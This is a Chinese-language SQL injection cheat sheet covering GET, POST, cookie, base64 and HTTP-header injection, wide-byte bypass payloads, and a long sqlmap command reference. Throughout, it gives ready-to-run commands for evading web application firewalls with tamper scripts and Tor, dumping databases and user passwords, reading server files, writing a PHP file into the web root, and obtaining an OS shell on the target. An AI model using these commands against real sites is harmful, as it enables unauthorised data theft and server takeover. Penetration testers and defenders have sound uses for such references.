服务器端使用request方式接受参数,能接受get、post、cookie三种方式,这三种方式相互转换,能过掉某些waf。
get注入
比如:www.xxx.com/index.php?id=1
post注入
- post提交方式主要用于表单的提交
- 可能存在漏洞的位置:搜索框、登录、留言、注册。在这些里面插入123',简单判断下
- 尝试万能密码时,主要在用户处尝试,因为密码处很大可能会被md5加密或者其他加密,带入到数据库中。如果是魔术引号,使用
admin%df' or 1=1# - 魔术引号的问题,在burp中改,在网页中直接加入%df会被url编码成%25df
- 表单名称的测试,比如一个输入框,
<input name="file[true11]" id="true11" size="10" value="123" class="txt">。post方式提交到服务器,它的data会被url编码,file%5Btrue11%5D=123,可以在burp中尝试对表单名称进行宽字节注入
cookie注入
- cookie提交用于账号密码的cookie缓存
- 常见情况:
http://192.168.10.10/show.php?id=1 union select 1,2,3,4,5被waf拦截了- 使用hackbar,将
id=1 union select 1,2,3,4,5放到post中,如果能接收,说明是request方式接受参数。 - 若再被waf拦截,使用burp放到repeater中,将
id=1 union select 1,2,3,4,5粘贴到cookie中,前面要加上分号
base64编码注入
源代码:$id=base64_decode($id);
id=MSBhbmQgMT0x,构造语句需要经过base64编码。
HTTP头注入
- user-agent
- referer
- x-forwarded-for
- client-ip
sqlmap
常用绕过
https://github.com/gagaltotal/Bypass-WAF-SQLMAP/blob/master/Example-Bypass-WAF-SQLMAP.txt
███╗ ███╗██████╗ ██████╗ ██╗ ██╗ ██████╗ ███████╗████████╗ ██████╗ ██████╗ ██████╗
████╗ ████║██╔══██╗ ██╔════╝ ██║ ██║██╔═══██╗██╔════╝╚══██╔══╝██╔════╝ ██╔════╝ ██╔════╝
██╔████╔██║██████╔╝ ██║ ███╗███████║██║ ██║███████╗ ██║ ███████╗ ███████╗ ███████╗
██║╚██╔╝██║██╔══██╗ ██║ ██║██╔══██║██║ ██║╚════██║ ██║ ██╔═══██╗██╔═══██╗██╔═══██╗
██║ ╚═╝ ██║██║ ██║██╗╚██████╔╝██║ ██║╚██████╔╝███████║ ██║ ╚██████╔╝╚██████╔╝╚██████╔╝
╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝
#Bypass WAF SQLMAP
Example:
$ sqlmap -u "Target.com" --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dbs
$ sqlmap -u "Target.com" --identify-waf --random-agent -v 3 --dbs
$ sqlmap -u "Target.com" --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --level=5 --risk=3 --dbs
$ sqlmap -u "http://sitetarget.com/login" --data="userid=admin&passwd=admin" --method POST --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --level=5 --risk=3 --dbs
$ sqlmap -u "sitetarget.com/admin/login_action" method="POST" --data="uname=admin*&pass=admin&captcha=123456" --cookie="input cookie" --dbs --technique=T
$ sqlmap -u "sitetarget.com/admin/login_action" method="POST" --data="uname=admin*&pass=admin&captcha=123456" --cookie="input cookie" --headers="input field header" --dbs --technique=T
Example Bypass WAF SQLMap New Version Update :
$ sqlmap -u "Target.com" --random-agent -v 3 --tamper="between,randomcase,space2comment" --dbs
$ sqlmap -u "Target.com" --random-agent -v 3 --dbs
$ sqlmap -u "Target.com" --random-agent -v 3 --tamper="between,randomcase,space2comment" --level=5 --risk=3 --dbs
$ sqlmap -u "http://sitetarget.com/login" --data="userid=admin&passwd=admin" --method POST --random-agent -v 3 --tamper="between,randomcase,space2comment" --level=5 --risk=3 --dbs
$ sqlmap -r poc.txt --threads=10 --random-agent --level=5 --risk=3 --tamper=space2comment,between --dbs
example dump DB use poc http post request :
$ sqlmap -r poc.txt --threads=10 --random-agent --level=5 --risk=3 --tamper=space2comment,between --dbms=MySQL -D database_target --tables
example WAF Header :
$ sqlmap -u https://target.com/vote/check_vote.php --headers="X-Forwarded-For:1*" -p X-Forwarded-For --level=5 --risk=3 --tamper="space2comment,between,randomcase" --technique="BEUST" --no-cast --random-agent --drop-set-cookie --dbms=mysql --dbs
$ sqlmap -u https://target.com/vote/check_vote.php --headers="X-Forwarded-For:1*" -p X-Forwarded-For --level=5 --risk=3 --tamper="space2comment,between,randomcase" --technique="BEUST" --no-cast --random-agent --dbs
example WAF CloudFlare use proxy Tor default :
$ sqlmap -u "https://target.com" --data="id=63665%20RLIKE%20-bla-blablabla" --time-sec=20 --random-agent --level=5 --risk=3 --tamper="space2comment,between,randomcase,charencode" --technique=BEUST --privileges --no-cast --tor --tor-port=9050 --tor-type=socks5 --check-tor --banner --union-char=1 --dbms=MySQL --dbs
post登录框注入
几种注入方式:
sqlmap -u http://xxx.com/Login.asp --forms
sqlmap -u http://xxx.com/Login.asp --data "UName=1&UPass=1"
伪静态
sqlmap -u http://xxx.com/Index/view/id/3*.html
base64编码注入
sqlmap -u http://xxx.com/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs
文件读写
sqlmap.py -u "http://xxx.com/about/show.php
?lang=cn&id=22" --file-read="C:\Inetpub\wwwroot\mysql-php\1.php"
文件上传
条件:
-
dba权限
-
网站绝对路径
--file-write=本地文件路径,--file-dest=网站绝对路径
sqlmap.py -u "http://xxx.com/article.php?id=5" --file-write="C:\1.php" --file-dest="/var/www/html/x.php"
假设http://192.168.10.10/show.php?id=1处有注入,1.txt是该网站的请求包。login.php是登陆页面,表单提交到login.php
-
GET方式
sqlmap -u "http://192.168.10.10/show.php?id=1" -
POST方式,url是表单提交页面,data是登陆页面的请求体中的数据
sqlmap -u "http://192.168.10.10/login.php" --data "username=admin&pass=123" -
cookie注入
sqlmap -u "sqlmap -u "http://192.168.10.10/show.php" --cookie "id=1" --level 2 -
--form自动检测页面表单
sqlmap -u "sqlmap -u "http://192.168.10.10/" --form -
--flush-session清除缓存
-
--count获取数据表中数据的个数
sqlmap -u "http://192.168.10.10/show.php?id=1" -D cms --count -
--search搜索
sqlmap -u "http://192.168.10.10/show.php?id=1" --search -C password,pwd -C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。 -T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名 -D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。 -
--banner版本信息
sqlmap -u "http://192.168.10.10/show.php?id=1" --banner -
--is-dba查看是否是最高权限
sqlmap -u "http://192.168.10.10/show.php?id=1" --is-dba -
--current-db网站当前数据库
sqlmap -u "http://192.168.10.10/show.php?id=1" --current-db -
--current-user网站当前用户
sqlmap -u "http://192.168.10.10/show.php?id=1" --current-user -
爆库
sqlmap -u "http://192.168.10.10/show.php?id=1" --dbs -
爆表
sqlmap -u "http://192.168.10.10/show.php?id=1" -D cms --tables -
爆列
sqlmap -u "http://192.168.10.10/show.php?id=1" -D cms -T admin --columns -
--dump获取表中数据
sqlmap -u "http://192.168.10.10/show.php?id=1" -D cms -T admin -C username,password --dump -
--dump-all获取数据库所有数据(声明:实战中千万别用该命令,法律风险极大)
sqlmap -u "http://192.168.10.10/show.php?id=1" --dump-all -
--dbms指定数据库
sqlmap -u "http://192.168.10.10/show.php?id=1" --dbms=mysql -
--level检查等级,越高检测越权,1-5
sqlmap -u "http://192.168.10.10/show.php?id=1" --level 3 -
--risk风险等级,级别越高风险越大,1-3,3可能会导致修改数据库
sqlmap -u "http://192.168.10.10/show.php?id=1" --risk 3 -
--users枚举所有用户
sqlmap -u "http://192.168.10.10/show.php?id=1" --users -
--passwords枚举所有用户密码
sqlmap -u "http://192.168.10.10/show.php?id=1" --passwords -
--roles列出数据库管理员角色
sqlmap -u "http://192.168.10.10/show.php?id=1" --roles -
--privileges列出数据库管理员权限
sqlmap -u "http://192.168.10.10/show.php?id=1" --privileges -
列举数据库系统的架构(声明:风险极大,和脱库)
sqlmap -u "http://192.168.10.10/show.php?id=1" --schema --batch --exclude-sysdbs -
-v显示调试信息,有7个级别
0、只显示python错误以及严重的信息。 1、同时显示基本信息和警告信息。(默认) 2、同时显示debug信息。 3、同时显示注入的payload。 4、同时显示HTTP请求。 5、同时显示HTTP响应头。 6、同时显示HTTP响应页面。 -
--smart当有大量目标时,这个就只检查基于错误的注入点
-
-m从文本中获取多个目标扫描,配合--smart使用
sqlmap -u "http://192.168.10.10/show.php?id=1" --batch -m 1.txt --smart文件中保存url格式如下,sqlmap会一个一个检测 www.target1.com/vuln1.phpq=foobar www.target2.com/vuln2.aspid=1 www.target3.com/vuln3/id/1* -
-g测试注入Google的搜索结果中的GET参数(获取前100个结果)。
sqlmap -g "inurl:php?id=" -
--param-del参数拆分字符
sqlmap -u "http://192.168.10.10/show.php?id=1" --data="a=11;b=22" --param-del=";" -
--referer伪造referer
level设定成3以上会自动检测 -
--headers
增加额外的http头 --headers "client-ip:1.1.1.1'" -
--proxy设置代理
sqlmap -u "http://192.168.10.10/show.php?id=1" --proxy=http://127.0.0.1:1080 -
--delay设定两个http(s)请求间的延迟
sqlmap -u "http://192.168.10.10/show.php?id=1" --delay=0.2 -
--timeout设定超时时间
设定一个http(s)请求超时多久判定为超时,默认30秒 -
--retries设定重试超时
超时时,可以设定重新尝试连接次数,默认3次 -
--mobile模仿手机登录
sqlmap -u "http://192.168.10.10/show.php?id=1" --mobile -
--identify-waf识别waf
sqlmap -u "http://192.168.10.10/show.php?id=1" --identify-waf -
--batch自动
sqlmap -u "http://192.168.10.10/show.php?id=1" --batch -
--charset强制使用字符编码
sqlmap -u "http://192.168.10.10/show.php?id=1" --charset=GBK -
--out-dir指定输出路径
sqlmap -u "http://192.168.10.10/show.php?id=1" --output-dir=/tmp -
--os-shell
条件:
- 需要dba权限
- 网站绝对路径
原理:它执行完后,会报出来两个页面,一个是上传文件的页面,可以传自己的ma上去,一个是上传了cmd shell的页面。当退出--os-shell,会调用后门脚本删除上传文件后,自行删除
sqlmap -u "url" --os-shell -
--os-cmd执行cmd命令
sqlmap -u "url" --os-cmd "cd C:/"